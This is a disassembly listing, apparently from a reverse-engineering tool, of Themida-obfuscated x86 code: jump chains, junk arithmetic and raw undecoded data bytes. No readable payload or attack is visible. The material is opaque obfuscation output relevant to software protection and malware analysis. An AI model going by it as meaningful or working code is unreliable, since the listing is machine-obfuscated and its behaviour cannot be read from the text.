push ebp
mov ebp, 5D9E18FFh
jmp loc_511D05
; ---------------------------------------------------------------------------
dw 8953h
dd 4C381E3h, 0E9000000h, 0FFFF717Eh, 81DEF759h, 0A44011C6h
dd 46C6812Fh, 31964E41h, 0F8015EF7h, 0FEF7A8E9h
db 0FFh
byte_515309 db 66h, 8Bh, 4 ; DATA XREF: Themida_:005028CCo
dd 4EC8124h, 89000000h, 21E9242Ch, 31FFFFB1h, 4332404h
dd 0C875C24h, 0B868E924h, 1489FFFFh, 2A5ABA24h, 0D2E91CBFh
db 0F5h, 0FEh, 0FFh
; ---------------------------------------------------------------------------
loc_515337: ; CODE XREF: Themida_:00511010j
mov ebx, 442F1131h
jmp loc_50B7A2
; ---------------------------------------------------------------------------
db 81h, 0C2h, 60h
dd 81622163h, 113435EAh, 24048B23h, 8704C483h, 248B2414h
dd 68E9F724h, 60C7h, 50241489h, 0D761E99Ch, 148BFFFEh
dd 32D3E924h, 0ADBDFFFFh, 1024C71h, 242C8BEFh, 4C481h
dd 0BB530000h, 42091BA6h, 4F5BDF09h, 2F82EF81h, 0FE91712h
dd 9FFFF47h, 0F1815DE9h, 6EFF6C7Ah, 591C4F09h
; ---------------------------------------------------------------------------
loc_5153A4: ; CODE XREF: Themida_:loc_503007j
push 0A45h
mov [esp], edx
jmp loc_507483
; ---------------------------------------------------------------------------
db 5Dh, 5, 6Bh
dd 51795064h, 1C29E954h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5153BE: ; CODE XREF: Themida_:0050FA26j
pop esp
jmp loc_5177C6
; ---------------------------------------------------------------------------
dword_5153C4 dd 9D1C77FFh, 24041958h, 0D6F9E99Ch ; DATA XREF: Themida_:005029E4o
db 0FEh, 0FFh
; ---------------------------------------------------------------------------
loc_5153D2: ; CODE XREF: Themida_:00506B6Ej
push eax
push esp
pop eax
add eax, 4
add eax, 4
jmp loc_51122C
; ---------------------------------------------------------------------------
dw 0EA81h
dd 0F58A002h, 0FF02C2E9h, 240489FFh, 2B8h, 0B8BE5600h
dd 164080Bh, 0EA815EF2h, 6B621B47h, 5BE9C201h
db 8Fh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_51540B: ; CODE XREF: Themida_:0051786Fj
add esp, 4
xchg ecx, ebp
neg ecx
xchg ecx, ebp
shr ebp, 3
sub ebp, 0B4A347DFh
or edx, ebp
mov ebp, [esp]
push ebx
mov ebx, esp
add ebx, 4
add ebx, 4
xchg ebx, [esp]
pop esp
jmp loc_50AA18
; ---------------------------------------------------------------------------
db 50h
dd 88D18851h, 0D881E9CCh, 0C483FFFEh, 7645E904h, 0E951FFFFh
dd 0FFFFD76Fh, 0C781D7F7h, 0C928CB04h, 815FFE21h, 821E29C6h
dd 2C815624h, 0AD51FD24h, 51EFE979h, 248BFFFFh, 0EA50E924h
dd 0C481FFFEh, 4, 19786866h, 26A0E9h
db 0
; ---------------------------------------------------------------------------
loc_515485: ; CODE XREF: Themida_:00515894j
add esp, 4
pop dword ptr [esp]
pop esp
push ebx
push ebp
push 4BE2h
mov [esp], ecx
push 69BA3108h
mov ecx, [esp]
jmp loc_50C996
; ---------------------------------------------------------------------------
db 66h
dd 2244C01h, 0FFD4A7E9h, 5E089FFh, 4, 0FFBF32E9h, 71DEBEFFh
dd 96E90815h, 52FFFEDDh, 0FEF446E9h
db 0FFh
aMsx db 'Žx(',0 ; DATA XREF: Themida_:005028C8o
db 0
; ---------------------------------------------------------------------------
loc_5154CF: ; CODE XREF: Themida_:005060E6j
mov ecx, 20h
mov eax, ecx
jmp loc_514623
; ---------------------------------------------------------------------------
db 89h
dd 4BB241Ch, 0E9000000h, 0FFFFBB12h
; ---------------------------------------------------------------------------
loc_5154E8: ; CODE XREF: Themida_:0051216Fj
and ecx, eax
push dword ptr [esp]
mov eax, [esp]
push ebx
jmp loc_5030B2
; ---------------------------------------------------------------------------
dw 5351h
dd 674BD68h, 241C8B41h, 4C481h, 0F3810000h, 0E0D51C3h
dd 8103EBC1h, 0B6587EBh, 2CF3815Ch, 89ADD5FFh, 0C8015BD9h
dd 24048759h, 0FF8473E9h, 39BE56FFh, 8102E537h, 4ECh, 24148900h
dd 0FD5467BAh, 87D2F71Dh, 0C65DE9CAh, 815AFFFFh, 0E0613FEEh
dd 0CAEE815Fh, 0E965DE53h, 0FFFF7DDBh, 0FED56EE9h
db 0FFh
byte_51555D db 0FFh, 77h, 1Ch ; DATA XREF: Themida_:0050291Co
dd 411589Dh, 0B2E99C24h
db 0Ah, 2 dup(0)
; ---------------------------------------------------------------------------
loc_51556B: ; CODE XREF: Themida_:00511D00j
shl esi, 5
and esi, 4F963FBFh
shl esi, 8
xor esi, 23BA004h
add ebx, esi
pop esi
push ebp
jmp loc_5075E2
; ---------------------------------------------------------------------------
dw 1368h
dd 89000030h, 6850241Ch, 11D53E1Fh, 0E0442D58h, 0C3899AFAh
dd 0BB8FE958h
db 2 dup(0FFh)
word_5155A2 dw 34FFh ; DATA XREF: Themida_:0050297Co
dd 2434FF24h, 0E3895359h, 0FEF8E0E9h, 0F7DAF7FFh, 84E950D2h
db 0DEh, 0FEh, 0FFh
; ---------------------------------------------------------------------------
loc_5155BB: ; CODE XREF: Themida_:005134EFj
shl edx, 1
push 11F2h
mov [esp], ecx
push edi
sub esp, 4
jmp loc_514BE8
; ---------------------------------------------------------------------------
word_5155CE dw 8B66h ; DATA XREF: Themida_:005029E8o
dd 268240Ch, 0E9000009h, 0FFFFA147h, 0B8240489h, 4, 4244401h
dd 0E92434FFh, 0FFFF4F7Ch
dword_5155F0 dd 0FF2434FFh, 81582434h, 4C4h, 4EC8300h, 0FF4C2BE9h
; DATA XREF: Themida_:0050293Co
db 0FFh
; ---------------------------------------------------------------------------
loc_515605: ; CODE XREF: Themida_:00502C92j
add esi, 4
xchg esi, [esp]
jmp loc_50E3F5
; ---------------------------------------------------------------------------
db 0FFh
db 34h, 24h, 5Bh
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
jmp loc_504A01
; ---------------------------------------------------------------------------
db 0B1h
dd 66CB28DDh, 0C8B6659h, 2C48324h, 0FF7917E9h
db 0FFh
byte_51563D db 66h, 8Bh, 0Ch ; DATA XREF: Themida_:00502938o
dd 11E5E924h, 89510000h, 4C181E1h, 81000000h, 4C1h, 7532E900h
dd 0BE56FFFFh, 6BA21BD4h, 348BF329h, 0E6895624h, 4C681h
dd 0E1E90000h, 8BFFFFD1h, 0C483241Ch, 59C82904h, 3B05D829h
dd 684CA975h, 6045h, 83241489h, 48904ECh, 84BB5324h, 8306F836h
dd 0B951FFEBh, 48C67BFAh, 531BE181h, 0E1813797h, 247F3700h
dd 8E0C981h, 0B0E92D74h
db 0A0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5156B7: ; CODE XREF: Themida_:00505256j
add ebx, ebp
pop ebp
push ecx
mov ecx, 2
add ebx, ecx
jmp loc_50DD87
; ---------------------------------------------------------------------------
db 5Fh
dd 2414F756h, 8324348Bh, 684E04C4h, 6130h, 0FF0295E9h
dd 505A66FFh, 8904EC83h, 57B5240Ch, 0E959E888h, 0FFFFFB4Dh
dd 58E9D001h
db 0D9h, 0FEh, 0FFh
; ---------------------------------------------------------------------------
loc_5156F7: ; CODE XREF: Themida_:0050DAE6j
push eax
mov eax, 54C139EBh
and eax, 296D03B4h
sub eax, 0F28EC7C6h
xor edx, eax
jmp loc_50C701
; ---------------------------------------------------------------------------
dw 295Dh
dd 796205F8h, 3C8B36E0h, 4C48124h, 5E000000h, 0D268h, 24348900h
dd 0FF7426E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_51572D: ; CODE XREF: Themida_:00511A56j
pop esp
jmp loc_5048CD
; ---------------------------------------------------------------------------
db 30h
dd 0EC6CE9D8h, 0CD31FFFFh, 0FF9D74E9h, 74FF52FFh, 8F5A0424h
dd 665C2404h, 0E924048Bh, 0FFFF8FBAh, 8704C783h, 565C243Ch
dd 1BEh, 173FE900h, 0ED810000h, 40DC7A6Fh, 900CE959h, 0E958FFFFh
dd 0FFFF185Ah
; ---------------------------------------------------------------------------
loc_515778: ; CODE XREF: Themida_:005098E6j
push ebp
mov ebp, 46384C16h
add ebp, 693240B0h
jmp loc_516099
; ---------------------------------------------------------------------------
loc_515789: ; CODE XREF: Themida_:00505C2Aj
add ebx, 4
xchg ebx, [esp]
pop esp
push 37C0h
jmp loc_503BD6
; ---------------------------------------------------------------------------
dw 0C281h
dd 4, 4EA81h, 14870000h, 4895C24h, 62A1E924h, 0EA29FFFFh
dd 0FF72B5E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_5157B9: ; CODE XREF: Themida_:0050F63Dj
xchg edi, [esp]
jmp loc_51795D
; ---------------------------------------------------------------------------
loc_5157C1: ; CODE XREF: Themida_:0050611Aj
add [esp+4], ebp
pop ebp
mov eax, [esp]
add esp, 4
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
xchg ebp, [esp]
pop esp
jmp loc_516B94
; ---------------------------------------------------------------------------
loc_5157E4: ; CODE XREF: Themida_:0050B11Dj
mov [esp], edx
mov dh, 3Bh
sub bl, 79h
add bl, dh
add bl, 79h
pop edx
sub al, 0E6h
jmp loc_50C565
; ---------------------------------------------------------------------------
loc_5157F9: ; CODE XREF: Themida_:00510FA4j
push 505Dh
mov [esp], ebp
jmp loc_5164DE
; ---------------------------------------------------------------------------
dw 0D031h
dd 0FF7737E9h, 0B65266FFh, 52D2043Ch, 0F3D9E951h
db 0FEh, 0FFh
; ---------------------------------------------------------------------------
loc_51581A: ; CODE XREF: Themida_:00507073j
sub ebp, 4
xchg ebp, [esp]
pop esp
jmp loc_508F51
; ---------------------------------------------------------------------------
dw 0E941h
dd 0FFFFF58Bh
; ---------------------------------------------------------------------------
loc_51582C: ; CODE XREF: Themida_:0050399Dj
xchg esi, [esp]
pop esp
mov [esp], ecx
mov ecx, 6B575F90h
shr ecx, 3
sub ecx, 1
and ecx, 67277FC0h
jmp loc_50D080
; ---------------------------------------------------------------------------
dd 83241C8Bh, 0E88304C4h, 24048704h, 243C895Ch, 0C781E789h
dd 4, 0FF13D1E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_515869: ; CODE XREF: Themida_:0050FDBFj
add eax, ecx
sub eax, 110829D5h
jmp loc_507C92
; ---------------------------------------------------------------------------
db 5Ch, 89h, 0Ch
dd 0D1BA5224h, 4248A07Dh, 0F281DAF7h, 92CBC87Dh, 0FF937DE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_51588D: ; CODE XREF: Themida_:0050D6F4j
push dword ptr [esp+4]
mov esi, [esp]
jmp loc_515485
; ---------------------------------------------------------------------------
loc_515899: ; CODE XREF: Themida_:0051785Aj
add edi, ebp
pop ebp
add edi, 4
jmp loc_5060F8
; ---------------------------------------------------------------------------
db 0F7h
dd 0DEE981D1h, 98BF28Ch, 5009E9CAh
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5158B6: ; CODE XREF: Themida_:0050CEC6j
push esp
jmp loc_50A924
; ---------------------------------------------------------------------------
dword_5158BC dd 0E92434FFh, 0B3Bh, 4EC8159h, 89000000h, 0AE92434h
; DATA XREF: Themida_:00502814o
db 26h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5158D3: ; CODE XREF: Themida_:00505C8Cj
push edx
jmp loc_512E5E
; ---------------------------------------------------------------------------
byte_5158D9 db 0FFh, 77h, 38h ; DATA XREF: Themida_:00502834o
dd 7CA6B850h, 443138E1h, 48B0424h, 4C48324h, 0FF2434FFh
dd 34FF2434h, 0C4815924h, 4, 5204C483h, 93E9E289h, 81FFFFFEh
dd 4ECh, 241C8900h, 0DB3A17BBh, 0F3814376h, 1D265FEEh
dd 3E95CB81h, 72E95C5Bh
db 0AAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_515927: ; CODE XREF: Themida_:0050CE68j
add ecx, ebp
sub ecx, 12510E44h
pop ebp
push edx
mov edx, 537D7A34h
sub edx, 62DC53D0h
or edx, 42F4FA8h
not edx
shl edx, 8
add edx, 0AF6FED04h
sub ecx, edx
pop edx
xchg ecx, [esp]
pop esp
mov [esp], eax
push 59B1h
mov [esp], ecx
push dword ptr [esp+4]
push dword ptr [esp]
pop ecx
add esp, 4
pop dword ptr [esp]
not ecx
jmp loc_50B3D2
; ---------------------------------------------------------------------------
loc_515977: ; CODE XREF: Themida_:0050CB33j
pop edx
xor esi, [esp]
xor [esp], esi
xor esi, [esp]
pop esp
mov [esp], ax
mov ah, 9Ah
shr ah, 4
and ah, 0F2h
shl ah, 3
sub ah, 0EBh
push ebx
mov bh, ah
push edx
mov dl, bh
jmp loc_508233
; ---------------------------------------------------------------------------
db 88h
dd 0E28852D4h, 0FEDF4FE9h, 0E9EA01FFh, 0FFFF3996h
dword_5159B0 dd 24048B66h, 0FFA336E9h ; DATA XREF: Themida_:005028ACo
db 0FFh
; ---------------------------------------------------------------------------
loc_5159B9: ; CODE XREF: Themida_:005085CBj
mov [esp], eax
mov eax, esp
jmp loc_513127
; ---------------------------------------------------------------------------
db 81h
dd 81517EFh, 27EF8147h, 5E05F70Dh, 0EDBE9h
db 0
byte_5159D5 db 0FFh, 77h, 2Ch ; DATA XREF: Themida_:0050280Co
dd 0FED0EEE9h, 0D0E9E9FFh, 5651FFFEh, 0F5F1E952h, 0E958FFFEh
dd 0FFFF82D8h
; ---------------------------------------------------------------------------
loc_5159F0: ; CODE XREF: Themida_:0051296Cj
xor eax, [esp]
xor [esp], eax
xor eax, [esp]
pop esp
mov edx, edi
pop edi
mov ebx, [esp]
add esp, 4
push edi
mov edi, 715443F0h
xor edx, edi
jmp loc_5081B2
; ---------------------------------------------------------------------------
dd 3BC98149h, 414A2A75h, 0FFB93CE9h, 0D20566FFh, 0BD4E958h
dd 0E95E0000h, 0FFFFD107h
; ---------------------------------------------------------------------------
loc_515A2C: ; CODE XREF: Themida_:0050A4DAj
not edx
shl edx, 3
or edx, 0C183261h
add edx, 929309Ch
jmp loc_50B926
; ---------------------------------------------------------------------------
dw 0C481h
dd 4, 2474FF57h, 243C8B04h, 0E904C483h, 0FFFFA02Bh, 242C8156h
dd 49EE609Ch, 9CC5815Dh, 5E49EE60h, 2C8BEB29h, 88BEE924h
dd 4BAFFFFh, 52000000h, 64B7E95Bh
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_515A7E: ; CODE XREF: Themida_:005034D1j
sub edi, 4
xchg edi, [esp]
jmp loc_50D8BD
; ---------------------------------------------------------------------------
dd 3A92BB53h, 0C3814112h, 0BF31D58h, 5A76BA52h, 0D32942E7h
dd 685Ah, 1C290000h, 241C8B24h, 4C481h, 0EB810000h, 0CDBDAA31h
dd 62F8EA81h, 0DA294893h, 1D4BB850h, 3A2D2863h, 0F764340Fh
dd 8E0C1D0h, 628CF835h, 8EEA8198h, 1420828h, 8EC281C2h
dd 58420828h, 2434FF5Bh, 4C4835Bh, 0FFB2C6E9h, 0C8C281FFh
dd 0E952B024h, 0FFFFDA7Fh
; ---------------------------------------------------------------------------
loc_515AFC: ; CODE XREF: Themida_:005089E9j
inc ebx
jmp loc_5114BD
; ---------------------------------------------------------------------------
dw 8B5Eh
dd 0C4812414h, 4, 3302C183h, 0C31240Ch, 240C3324h, 6624248Bh
dd 9C2404D3h, 0FF9C2EE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_515B25: ; CODE XREF: Themida_:0050D036j
add ebx, 0BC19956Ah
add esi, ebx
pop ebx
sub esp, 4
mov [esp], esi
push dword ptr [esp+4]
jmp loc_5035D7
; ---------------------------------------------------------------------------
db 31h, 14h, 24h
dd 8B241433h, 24D22424h, 7CE99C24h
db 0CFh, 0FEh, 0FFh
; ---------------------------------------------------------------------------
loc_515B4F: ; CODE XREF: Themida_:00503329j
and eax, edi
mov edi, [esp]
sub esp, 4
jmp loc_50F194
; ---------------------------------------------------------------------------
db 81h
dd 4B6F28C6h, 31F8E914h, 8957FFFFh, 4C781E7h, 83000000h
dd 3C8704C7h, 0B8505C24h, 0B187244h, 0D101C083h, 3765E9E8h
dd 0EC83FFFFh, 240C8904h, 0FFA19DE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_515B95: ; CODE XREF: Themida_:0050B3F3j
mov ecx, [esp]
add esp, 4
sub eax, esi
push edi
mov edi, 2A6C7B8Eh
jmp loc_509AEF
; ---------------------------------------------------------------------------
dd 4F48EB81h, 0EB810C79h, 0E4026296h, 0E95BDD01h, 0FFFED926h
dd 81E18951h, 4C1h, 4C18300h, 5C240C87h, 39AB685Eh, 34890000h
dd 4E946824h, 4890000h, 24348124h, 2DF76862h, 6824348Bh
dd 570Dh, 89242C89h, 4C581E5h, 83000000h, 0FF5504C5h, 5D042474h
dd 5C24048Fh
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
xor ebp, [esp]
xor [esp], ebp
jmp loc_517115
; ---------------------------------------------------------------------------
db 0D1h
dd 3AEEE9E7h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_515C22: ; CODE XREF: Themida_:0050F24Fj
shl edi, 1
add edi, 3C01D53Dh
xor ecx, edi
jmp loc_504A7E
; ---------------------------------------------------------------------------
loc_515C31: ; CODE XREF: Themida_:00512B07j
pop ecx
push 5029h
mov [esp], edi
jmp loc_5058A0
; ---------------------------------------------------------------------------
db 5Bh
dd 1C8B5453h, 4C48324h, 0CE685350h, 5B739E6Eh, 27BC381h
dd 0CB813B8Ch, 0F467512h, 7557EB81h, 0AAE9AF6Eh
db 19h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_515C67: ; CODE XREF: Themida_:0050AAF9j
xor edi, [esp]
jmp loc_5171C5
; ---------------------------------------------------------------------------
db 0F7h
dd 0EB814BD3h, 76AD070Dh, 44E5C381h, 0DE29DAEEh, 4EC815Bh
dd 89000000h, 0A0BF243Ch, 816A2945h, 0D33947E7h, 0E7D14F2Ah
dd 4EC81h, 0C890000h, 1A2BB924h, 0D9F7461Dh, 87CCC181h
dd 0CF0972C6h, 83240C8Bh, 0E7C104C4h, 76F78104h, 81CC90DEh
dd 0E8211BC6h, 81FE0139h, 0E8211BEEh, 2434FF39h, 4C4815Fh
dd 0E9000000h, 0FFFF3625h, 5BDE015Eh, 0D27C781h, 0C78105F7h
dd 47081517h, 0FFCB56E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_515CF1: ; CODE XREF: Themida_:00507873j
neg eax
add eax, 67345D60h
neg eax
sub eax, 862A9971h
jmp loc_507070
; ---------------------------------------------------------------------------
dd 0C6815E54h, 4, 0FABA5253h, 0F71A0F1Dh, 3FC281DAh, 0E928EE0Eh
dd 3A3h
; ---------------------------------------------------------------------------
loc_515D20: ; CODE XREF: Themida_:0050E66Ej
push edx
mov edx, 771F45E5h
xor edx, 0DAE8FD11h
add ebp, edx
pop edx
sub ecx, 5A0B4F11h
add ecx, ebp
add ecx, 5A0B4F11h
mov ebp, [esp]
add esp, 4
push 36E9h
mov [esp], esi
jmp loc_509BD7
; ---------------------------------------------------------------------------
loc_515D50: ; CODE XREF: Themida_:00516ABCj
add bl, 9Ah
jmp loc_511F6E
; ---------------------------------------------------------------------------
dd 0BB6EC581h, 0EFE98C77h
db 62h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_515D63: ; CODE XREF: Themida_:005045F0j
mov ecx, esp
jmp loc_50A907
; ---------------------------------------------------------------------------
dw 0E95Ah
dd 0FFFF83F1h, 0A07972BEh, 0A77EE977h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_515D7A: ; CODE XREF: Themida_:0050E512j
pop ebp
add edi, ecx
add edi, 715F3ADCh
push dword ptr [esp]
push dword ptr [esp]
mov ecx, [esp]
push eax
jmp loc_5160E0
; ---------------------------------------------------------------------------
loc_515D92: ; CODE XREF: Themida_:005035DBj
pop esp
push edx
mov edx, esp
jmp loc_50DBE0
; ---------------------------------------------------------------------------
db 83h
dd 0D83004C4h, 0E92434FFh, 0FFFFFE97h, 396DEB81h, 0C30127D7h
dd 396DC381h, 95E927D7h
db 1Bh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_515DBB: ; CODE XREF: Themida_:00516C1Cj
mov eax, 5861376h
shl eax, 5
jmp loc_503497
; ---------------------------------------------------------------------------
dd 0BF57EB01h, 0C8028C0h, 91E9EFD1h, 1FFFFA1h, 0BA685DE8h
dd 89000050h, 52E92414h, 81FFFF3Ch, 4C3h, 4EB8300h, 5C241C87h
dd 0FF241C89h, 8B042474h, 0C483241Ch, 24048F04h, 5C26685Ch
dd 0C890000h, 36E16824h, 0FAE90000h, 5BFFFFE0h, 348BF131h
dd 4C48124h, 81000000h, 0F033F0F1h, 2E9C130h, 8101E983h
dd 0F81A55E9h, 0B9515377h, 64E93C60h, 8904EC83h, 595B240Ch
dd 43FBCB81h, 0CB814EE1h, 235F6B6Bh, 5BD9C381h, 814B2839h
dd 49A3D5F3h, 0E9D909B2h, 0FFFF6822h
; ---------------------------------------------------------------------------
loc_515E64: ; CODE XREF: Themida_:0050C714j
xor edi, [esp]
pop esp
and eax, ebp
push dword ptr [esp]
pop ebp
add esp, 4
jmp loc_50ADB5
; ---------------------------------------------------------------------------
dw 8166h
dd 662054F3h, 1104CB81h, 0A5F38166h, 4810E94Fh, 0C483FFFFh
dd 0DCD1E904h, 0D328FFFEh, 0FF93BBE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_515E99: ; CODE XREF: Themida_:0050D8C9j
sub esp, 4
mov [esp], eax
mov eax, 72B4537Ch
or edi, eax
jmp loc_514BFE
; ---------------------------------------------------------------------------
db 1
dd 54E958C6h, 81FFFFFAh, 4C6h, 4B85000h, 29000000h, 343358C6h
dd 24343124h, 0E9243433h, 0FFFF881Ch, 5024048Fh, 4B8h
dd 24440100h, 565D5804h, 5B3F84BEh, 1BE94653h, 81FFFFC4h
dd 4C3h, 241C8700h, 0FFCC88E9h, 0FF515CFFh, 59042474h
dd 8B24048Fh, 0D1E92424h
db 0F6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_515F0B: ; CODE XREF: Themida_:00507931j
sub edx, 32D2715Bh
mov ebx, edx
jmp loc_50D124
; ---------------------------------------------------------------------------
dd 575E595Ah, 0FFE57AE9h, 68EA81FFh, 8174820Ah, 4B7853EAh
dd 76EA814Ch, 101E43Dh, 76C281FAh, 8101E43Dh, 4B7853C2h
dd 68BF574Ch, 174820Ah, 0F30DE9FAh, 5368FFFEh, 89000068h
dd 89572434h, 5FFE89DFh, 4A6868h, 24348900h, 0E9242C8Bh
dd 0FFFF639Ah
; ---------------------------------------------------------------------------
loc_515F6C: ; CODE XREF: Themida_:0050CC5Dj
and ecx, eax
push dword ptr [esp]
pop eax
push ecx
jmp loc_5109F6
; ---------------------------------------------------------------------------
dd 400E5BB8h, 548AE965h, 8B54FFFFh, 0C481241Ch, 4, 4BD55h
dd 0EB010000h, 0E9242C8Bh, 0FFFF349Ch, 0DBF7D3F7h, 7E3C14Bh
dd 387CEB81h, 61E9E1BBh, 1FFFF05h, 5E042474h, 0E92434FFh
dd 0FFFFF3AEh, 3304E883h, 4312404h, 24043324h, 2404895Ch
dd 3E30F4B8h, 0DFE9E96Fh, 0D488FFFEh, 1C8B595Ah, 0AB54E924h
dd 0E95CFFFFh, 0FFFF11BAh
; ---------------------------------------------------------------------------
loc_515FE8: ; CODE XREF: Themida_:0050790Dj
mov ebp, esp
add ebp, 4
jmp loc_50B2ED
; ---------------------------------------------------------------------------
loc_515FF5: ; CODE XREF: Themida_:005039D0j
push ebx
push esp
pop ebx
jmp loc_517449
; ---------------------------------------------------------------------------
loc_515FFD: ; CODE XREF: Themida_:005107D4j
add ecx, 4
jmp loc_5179E8
; ---------------------------------------------------------------------------
loc_516008: ; CODE XREF: Themida_:00516E38j
mov ebp, 4
jmp loc_50489E
; ---------------------------------------------------------------------------
dw 0C481h
dd 4, 0FFCC89E9h, 0CAA9E9FFh, 685FFFFEh, 57ABh, 50240C89h
dd 0E669668h, 0F512E94Ch
db 0FEh, 0FFh
; ---------------------------------------------------------------------------
loc_516036: ; CODE XREF: Themida_:0051097Ej
pop ebx
push esi
push esp
pop esi
add esi, 4
add esi, 4
jmp loc_512A91
; ---------------------------------------------------------------------------
db 66h
dd 9C240429h, 0FECA76E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_516055: ; CODE XREF: Themida_:00512835j
mov edi, eax
pop eax
add esi, edi
pop edi
add ebx, esi
pop esi
add ebx, 4
xchg ebx, [esp]
jmp loc_50E47E
; ---------------------------------------------------------------------------
dd 5707E5C1h, 9A24ADBFh, 0F2F78152h, 0E9897140h, 0FFFFEF57h
; ---------------------------------------------------------------------------
loc_516080: ; CODE XREF: Themida_:00504A79j
mov eax, 4
add esi, eax
pop eax
xchg esi, [esp]
jmp loc_516FA0
; ---------------------------------------------------------------------------
dword_516090 dd 582434FFh, 0FF80EDE9h ; DATA XREF: Themida_:00502A1Co
db 0FFh
; ---------------------------------------------------------------------------
loc_516099: ; CODE XREF: Themida_:00515784j
sub ebp, 46173CE3h
jmp loc_50E9CD
; ---------------------------------------------------------------------------
dd 2C481h, 5B660000h, 0BD665566h, 16664F7h, 0E95D66EBh
dd 0FFFF1885h
; ---------------------------------------------------------------------------
loc_5160BC: ; CODE XREF: Themida_:005034A7j
xchg edx, edi
jmp loc_51772A
; ---------------------------------------------------------------------------
db 81h
dd 321D3C2h, 67CA8161h, 573B1565h, 0F7777B68h, 4842E97Fh
dd 0E951FFFFh, 0FFFF3D85h
; ---------------------------------------------------------------------------
loc_5160E0: ; CODE XREF: Themida_:00515D8Dj
mov eax, esp
add eax, 4
jmp loc_5070F7
; ---------------------------------------------------------------------------
loc_5160EC: ; CODE XREF: Themida_:00511E94j
pop esp
pop dword ptr [esp]
mov esp, [esp]
jmp loc_50A960
; ---------------------------------------------------------------------------
dd 7930C868h, 0C5815D7Bh, 0D1F001Ah, 8BA2E94Dh, 0EC83FFFFh
dd 240C8904h, 0CB00A8B1h, 0D4B45059h, 0F58E328h, 70E9C0B6h
dd 5AFFFF51h, 9666850h, 5580435h, 543A4A4Ch, 91DFFF05h
dd 17A3E99Bh
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_51613A: ; CODE XREF: Themida_:0050867Bj
add bh, 0Dh
sub esp, 4
mov [esp], ecx
sub esp, 4
mov [esp], eax
mov ah, 0E0h
sub ah, 96h
dec ah
add ah, 17h
mov cl, ah
pop eax
xor bh, cl
jmp loc_504CF4
; ---------------------------------------------------------------------------
loc_516163: ; CODE XREF: Themida_:0050E20Dj
push esp
jmp loc_50AFE0
; ---------------------------------------------------------------------------
db 0F7h, 1Ch, 24h
dd 0FF72B0E9h, 4BDFFh, 0E9010000h, 43CCE95Dh, 835EFFFFh
dd 1C8702EBh, 1EE95C24h, 81FFFEF8h, 4C3h, 0A0AFE900h, 0F229FFFFh
dd 0FF4173E9h, 0E68956FFh, 4C681h, 0E9510000h, 0FFFFE3D3h
; ---------------------------------------------------------------------------
loc_5161AC: ; CODE XREF: Themida_:00505B01j
add esp, 4
pop dword ptr [esp]
pop esp
shl dword ptr [esp], cl
pushf
jmp loc_505DEF
; ---------------------------------------------------------------------------
dd 8904EC83h, 62E9240Ch, 31FFFFF3h, 8F66C3h, 0FF7038E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_5161D1: ; CODE XREF: Themida_:00505186j
mov dx, [esp]
push edi
sub esp, 4
mov [esp], esp
add dword ptr [esp], 4
pop edi
push ebx
jmp loc_50D5D9
; ---------------------------------------------------------------------------
db 1
dd 242C8BEAh, 0E904C483h, 0FFFF319Dh, 0E5883DB4h, 8324048Bh
dd 0A6E904C4h, 68FFFFC2h, 64B0h, 68243C89h, 7DE1h, 935E9h
db 0
; ---------------------------------------------------------------------------
loc_516215: ; CODE XREF: Themida_:005036F9j
mov [esp], edi
mov edi, 3AD8500Bh
sub edi, 4CF3265Ah
or edi, 7DEE6FB0h
xor edi, 0F41B5A94h
jmp loc_513D74
; ---------------------------------------------------------------------------
loc_516234: ; CODE XREF: Themida_:0050449Ej
mov ebp, edx
jmp loc_5093EF
; ---------------------------------------------------------------------------
db 59h
dd 1B69E952h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_516242: ; CODE XREF: Themida_:0050AFF4j
pop edi
jmp loc_50ACAF
; ---------------------------------------------------------------------------
dd 0B9515B54h, 106B09DDh, 6A96B850h, 0D0F73787h, 0DA887805h
dd 58C12166h, 9BDE981h, 0CB010043h, 1BB2E9h
db 0
; ---------------------------------------------------------------------------
loc_51626D: ; CODE XREF: Themida_:005066CFj
add esp, 4
sub esp, 4
mov [esp], ecx
mov ecx, 175F6C1Bh
dec ecx
jmp loc_51068E
; ---------------------------------------------------------------------------
loc_516284: ; CODE XREF: Themida_:0050D1B1j
add edx, 0CA837D8h
add [edx], ecx
mov edx, [esp]
push ebx
mov ebx, esp
add ebx, 4
add ebx, 4
xchg ebx, [esp]
mov esp, [esp]
jmp loc_50A6D4
; ---------------------------------------------------------------------------
dw 34FFh
dd 24348B24h, 8104C483h, 4ECh, 24148900h, 0C2815A54h, 4
dd 0FF01A7E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_5162C5: ; CODE XREF: Themida_:005074F6j
push ecx
mov ecx, 3FCh
jmp loc_50E50A
; ---------------------------------------------------------------------------
dd 0BBB9515Fh, 51324717h, 592414F7h, 0C102E1C1h, 0C18103E9h
dd 0F9238BE2h, 71E9CF01h, 8BFFFEE4h, 0BAE92424h, 8BFFFF87h
dd 89502404h, 0A9CE9E0h, 0C283FFFFh, 0FEE3E904h, 489FFFEh
